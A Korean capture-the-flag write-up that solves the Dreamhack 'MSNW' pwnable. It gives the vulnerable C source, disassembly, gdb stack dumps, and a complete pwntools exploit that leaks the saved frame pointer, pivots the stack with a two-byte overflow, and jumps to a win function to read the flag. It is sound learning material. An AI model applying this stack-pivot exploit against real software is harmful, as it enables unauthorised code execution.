dreamhack - MSNW writeup
[dreamhack] MSNW writeup
1. 문제

이 문제는 MSNW (Meong Said, Nyang Wrote) 프로그램이 서비스로 등록되어 동작하고 있습니다.
프로그램의 취약점을 찾고 익스플로잇해 플래그를 획득하세요!
플래그 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MEONG 0
#define NYANG 1
#define NOT_QUIT 1
#define QUIT 0
void Init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
int Meong() {
char buf[0x40];
memset(buf, 0x00, 0x130);
printf("meong 🐶: ");
read(0, buf, 0x132);
if (buf[0] == 'q')
return QUIT;
return NOT_QUIT;
}
int Nyang() {
char buf[0x40];
printf("nyang 🐱: ");
printf("%s", buf);
return NOT_QUIT;
}
int Call(int animal) {
return animal == MEONG ? Meong() : Nyang();
}
void Echo() {
while (Call(MEONG)) Call(NYANG);
}
void Win() {
execl("/bin/cat", "/bin/cat", "./flag", NULL);
}
int main(void) {
Init();
Echo();
puts("nyang 🐱: goodbye!");
return 0;
}
개와 고양이가 멍냥하면서 Meong
함수에서 입력한 내용을 Nyang
함수에서 출력해주는 프로그램이다.
buf
변수에서 아마 bof가 터질 것 같았다.
pwndbg> disass Meong
Dump of assembler code for function Meong:
0x0000000000401242 <+0>: endbr64
0x0000000000401246 <+4>: push rbp
0x0000000000401247 <+5>: mov rbp,rsp
0x000000000040124a <+8>: sub rsp,0x1f0
0x0000000000401251 <+15>: lea rax,[rbp-0x130]
0x0000000000401258 <+22>: mov edx,0x130
0x000000000040125d <+27>: mov esi,0x0
0x0000000000401262 <+32>: mov rdi,rax
0x0000000000401265 <+35>: call 0x4010b0 <memset@plt>
0x000000000040126a <+40>: lea rax,[rip+0xd93] # 0x402004
0x0000000000401271 <+47>: mov rdi,rax
0x0000000000401274 <+50>: mov eax,0x0
0x0000000000401279 <+55>: call 0x4010a0 <printf@plt>
0x000000000040127e <+60>: lea rax,[rbp-0x130]
0x0000000000401285 <+67>: mov edx,0x132
0x000000000040128a <+72>: mov rsi,rax
0x000000000040128d <+75>: mov edi,0x0
0x0000000000401292 <+80>: call 0x4010c0 <read@plt>
0x0000000000401297 <+85>: movzx eax,BYTE PTR [rbp-0x130]
0x000000000040129e <+92>: cmp al,0x71
0x00000000004012a0 <+94>: jne 0x4012a9 <Meong+103>
0x00000000004012a2 <+96>: mov eax,0x0
0x00000000004012a7 <+101>: jmp 0x4012ae <Meong+108>
0x00000000004012a9 <+103>: mov eax,0x1
0x00000000004012ae <+108>: leave
0x00000000004012af <+109>: ret
End of assembler dump.
pwndbg> disass Nyang
Dump of assembler code for function Nyang:
0x00000000004012b0 <+0>: endbr64
0x00000000004012b4 <+4>: push rbp
0x00000000004012b5 <+5>: mov rbp,rsp
0x00000000004012b8 <+8>: sub rsp,0x1f0
0x00000000004012bf <+15>: lea rax,[rip+0xd4b] # 0x402011
0x00000000004012c6 <+22>: mov rdi,rax
0x00000000004012c9 <+25>: mov eax,0x0
0x00000000004012ce <+30>: call 0x4010a0 <printf@plt>
0x00000000004012d3 <+35>: lea rax,[rbp-0x130]
0x00000000004012da <+42>: mov rsi,rax
0x00000000004012dd <+45>: lea rax,[rip+0xd3a] # 0x40201e
0x00000000004012e4 <+52>: mov rdi,rax
0x00000000004012e7 <+55>: mov eax,0x0
0x00000000004012ec <+60>: call 0x4010a0 <printf@plt>
0x00000000004012f1 <+65>: mov eax,0x1
0x00000000004012f6 <+70>: leave
0x00000000004012f7 <+71>: ret
End of assembler dump
실제로 Meong
함수와 Nyang
함수를 보면 buf
가 둘다 rbp-0x130
위치에 있는데 Meong
함수에서 read
할때 0x132
를 하는 것을 볼 수 있다. 이걸 통해 두가지를 얻을 수 있는데, 0x130
사이즈로 입력할 경우에 SFP를 leak할 수 있다는 것과 SFP를 두바이트 덮을 수 있다는 것이다.
2.1. SFP overwrite (Stack pivot)
SFP를 overwrite하게 되면, leave; ret
로 대표되는 함수 에필로그 시에 스택을 우리가 원하는 곳으로 설정할 수 있다. SFP는 실행되고 있는 함수의 호출 전에 프레임 포인터를 저장해 놓는 곳이다.
스택 상단 주소 (낮은 주소)
│
│ buffer[64] <-- 취약한 버퍼
│ ... <-- 다른 지역 변수들
│ saved RBP <-- SFP (Saved Frame Pointer)
│ return address <-- 함수 리턴 시 jump할 주소
│
▼ 스택 하단 주소 (높은 주소)
만약에 이 SFP를 overwrite하게 되면 leave; ret
와 결합하여 원하는 동작을 수행하게 할 수 있다. 예를 들면 아래와 같다.
- 1. SFP를 임의 주소로 덮어씀 (saved RBP)
- 2. 리턴 주소에 leave; ret 가젯을 씀
- 3. ret 실행 시 → leave는 아래 동작 수행:
leave = mov rsp, rbp
pop rbp
ret = pop rip (jump to [rsp])
따라서 우리가 덮어쓴 SFP 값이 새로운 스택의 시작점이 되고, ret = pop rip
를 통해 rsp + 8
이 가리키는 위치의 명령어가 실행된다.
공격 후 스택:
│
│ 가짜 스택 (ROP 체인)
│ ...
│ new SFP (가짜 RBP)
│ leave; ret ← ret 주소
│
▼
- 1. leave → RSP = RBP = new SFP
- 2. pop RBP → RBP = [RSP]
- 3. ret → RIP = [RSP + 8] // 우리가 넣은 가짜 스택에 따라 실행 흐름 제어
이를 SFP overwrite 또는 stack pivot이라고 부른다.
2.2. 시나리오
따라서 먼저 0x130
만큼 데이터를 보내서 SFP를 leak한 뒤, buf
변수와 얼마나 떨어져있는지 확인한다.
이후, buf
변수를 Win
함수의 주소로 모두 채우도록 데이터를 보내고, SFP를 2바이트를 덮어서 buf
주소의 어딘가로 조작할 수 있으면 다음에 사용될 스택 위치가 buf
주소 한가운데로 가고, ret
를 통해 buf
에 저장된 Win
함수가 rip
로 pop되어 들어가면서 flag
를 읽을 수 있을 것이다.
먼저 rbp
를 leak해보자.
ubuntu@instance-20250406-1126:~/dreamhack/level2/MSNW/deploy$ python3 e_msnw.py
[+] Starting local process './msnw': pid 2687552
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/MSNW/deploy/msnw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
0x7ffdb16b19f0
0x7ffdb16b19f0
가 출력되었다는 것은, Nyang
함수의 SFP가 이거고 이 함수가 종료되면 Call
함수로 돌아가므로 Call
함수에 속한 리턴주소가 그다음에 존재한다는 뜻이다. 따라서 gdb
로 붙어서 이 주소를 먼저 보자.
pwndbg> x/10gx 0x7ffdb16b19f0
0x7ffdb16b19f0: 0x00007ffdb16b1af0 0x0000000000401353
0x7ffdb16b1a00: 0x000000000000037f 0x0000000002001005
0x7ffdb16b1a10: 0x00007ffdb16b1c00 0x0000000000000000
0x7ffdb16b1a20: 0x00007991d4727000 0x00007ffdb16b1ae8
0x7ffdb16b1a30: 0x00007ffdb16b1b30 0x00007991d4740ddb
이 위치로 가면 당연히 다른 함수의 SFP가 보이고 그뒤에 0x401353
이라는 어떤 함수의 주소가 보인다. 이 주소는 backtrace
에서 확인할 수 있다.
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x7991d451ba61 read+17
1 0x401297 Meong+85
2 0x401320 Call+40
3 0x401353 Echo+37
4 0x4013b9 main+31
5 0x7991d442a1ca __libc_start_call_main+122
6 0x7991d442a28b __libc_start_main+139
7 0x401115 _start+37
Echo+37
의 함수이므로 이건 Call
의 스택 마지막 부분임을 알 수 있다. 그러면 Nyang
함수는 더 아래쪽에 존재할 것이므로 확인해보자.
pwndbg> x/200gx 0x7ffdb16b19f0 - 0x300
0x7ffdb16b16f0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1700: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1710: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1720: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1730: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1740: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1750: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1760: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1770: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1780: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1790: 0x0000000000000000 0x0000000000000000
0x7ffdb16b17a0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b17b0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b17c0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b17d0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b17e0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b17f0: 0x00007ffdb16b19f0 0x0000000000401320
0x7ffdb16b1800: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1810: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1820: 0x0000000000000000 0x0000000000000001
0x7ffdb16b1830: 0x00007ffdb16b1870 0x00007991d4585536
0x7ffdb16b1840: 0x0000000000800000 0x00007991d4498914
0x7ffdb16b1850: 0x00000003b16b1870 0xbd65d1a33a584000
0x7ffdb16b1860: 0x00381423c4e740e5 0x00007991d473e3c0
0x7ffdb16b1870: 0x00007ffdb16b1b30 0x00007991d4749897
0x7ffdb16b1880: 0x0000000000000002 0x8000000000000006
0x7ffdb16b1890: 0x0000000000000000 0x0000000000000000
0x7ffdb16b18a0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b18b0: 0x0000000000000000 0x0000000000000000
0x7ffdb16b18c0: 0x000000000000000d 0x00007991d47602e0
0x7ffdb16b18d0: 0x00381423c4e6f301 0x0000000000000003
0x7ffdb16b18e0: 0x0000000000000000 0x0000000000000002
0x7ffdb16b18f0: 0x0000016100000000 0x0000000000c003f7
0x7ffdb16b1900: 0x00007ffdb177b228 0x0000034000000240
0x7ffdb16b1910: 0x0000000000000001 0x0000000000000000
0x7ffdb16b1920: 0x0000000000000000 0x0000034000000340
0x7ffdb16b1930: 0x0000034000000340 0x0000034000000340
0x7ffdb16b1940: 0x0000034000000340 0x0000034000000340
0x7ffdb16b1950: 0x00007991d46044e0 0x0000000000000000
0x7ffdb16b1960: 0x00007ffdb16b1990 0x00007991d4495c1f
0x7ffdb16b1970: 0x00007991d46044e0 0x00007991d4602030
0x7ffdb16b1980: 0x0000000000000000 0x0000000000000000
0x7ffdb16b1990: 0x00007ffdb16b19b0 0x00007991d4492415
0x7ffdb16b19a0: 0x0000000000000000 0x00007991d46044e0
0x7ffdb16b19b0: 0x00007ffdb16b19f0 0x00007991d448867f
0x7ffdb16b19c0: 0x0000000000000000 0x00007ffdb16b1c48
0x7ffdb16b19d0: 0x0000000000000001 0x0000000000000000
0x7ffdb16b19e0: 0x0000000000403e18 0x00007991d475f000
0x7ffdb16b19f0: 0x00007ffdb16b1af0 0x0000000000401353
중간에 0x7ffdb16b17f0
위치를 보면 우리가 찾던 leak 된 SFP인 0x00007ffdb16b19f0
가 보이고, 바로 뒤에 어떤 함수의 주소로 보이는 0x401320
이 보인다. 이 주소를 backtrace
에서 찾아보면 Call
함수의 주소 중 하나이다. 따라서 이 부분이 우리가 찾던 Nyang
함수의 스택 위치일 것이다.
주의할 점은 찾다보면 leak된 SFP 주소가 되게 자주 보일 것이다. 그치만 해당 주소의 바로 뒤에는 무조건 Call
함수의 주소가 존재해야 진짜 위치이다.
0x7ffdb16b17f0
위치가 SFP이므로 이게 rbp
이다. buf
변수는 rbp-0x130
부터 시작하므로 0x7ffdb16b16c0
부터 시작한다. 따라서 우리는 leak된 SFP의 마지막 두바이트를 19f0
에서 16c0
또는 이것부터 8바이트 단위으로 덮어주면 되는 것이다. 우선 이 차이는 0x330
이지만 17f0
보다 작게, 16c0
보다는 크게만 덮어주면 문제가 없다.
최종 exploit이다.
from pwn import *
p = process("./msnw")
#p = remote("host3.dreamhack.games", 16749)
elf = ELF("./msnw")
payload = b"a" * 0x130
p.sendafter(b": ", payload)
p.recvuntil(b"a" * 0x130)
real_rbp = u64(p.recv(6) + b"\x00" * 2)
print(hex(real_rbp))
buf = real_rbp - 0x1c0 - 0x130
input()
payload = p64(elf.symbols["Win"]) * 38
payload += p64(buf)
p.sendafter(b": ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/MSNW/deploy$ python3 e_msnw.py
[+] Starting local process './msnw': pid 2687647
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/MSNW/deploy/msnw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
0x7ffc6f6284f0
[*] Switching to interactive mode
DH{**flag**}
[*] Process './msnw' stopped with exit code 0 (pid 2687647)
[*] Got EOF while reading in interactive
$
vm 크레딧 이슈로 뒤늦게 서버 켜는건 안합니다… 그치만 서버환경에서도 성공했음!
그리고 공부하다보니 함수 에필로그를 이용한 SFP overwrite 및 stack pivot은 기초적인거라고 하더라… 이 기초를 이제야 제대로 공부했다…
특히 이걸 미리 잘 알고 있었다면 저번 Dreamhack CTF Season 7 Round #12 (Div2)
를 처음 참가했었는데 올클리어가 가능했었다ㅠ

포너블만 풀자고 열심히 공부했는데 포너블 빼고 다 풀고 마지막까지 붙잡다가 결국 5위로 마감했었다. 그때 못푼 문제가 딱 이 기법으로 풀리는 문제일 듯해서 바로 도전했고 삽질 끝에 성공… 바로 다음 게시물로 올릴 예정이다.
해결~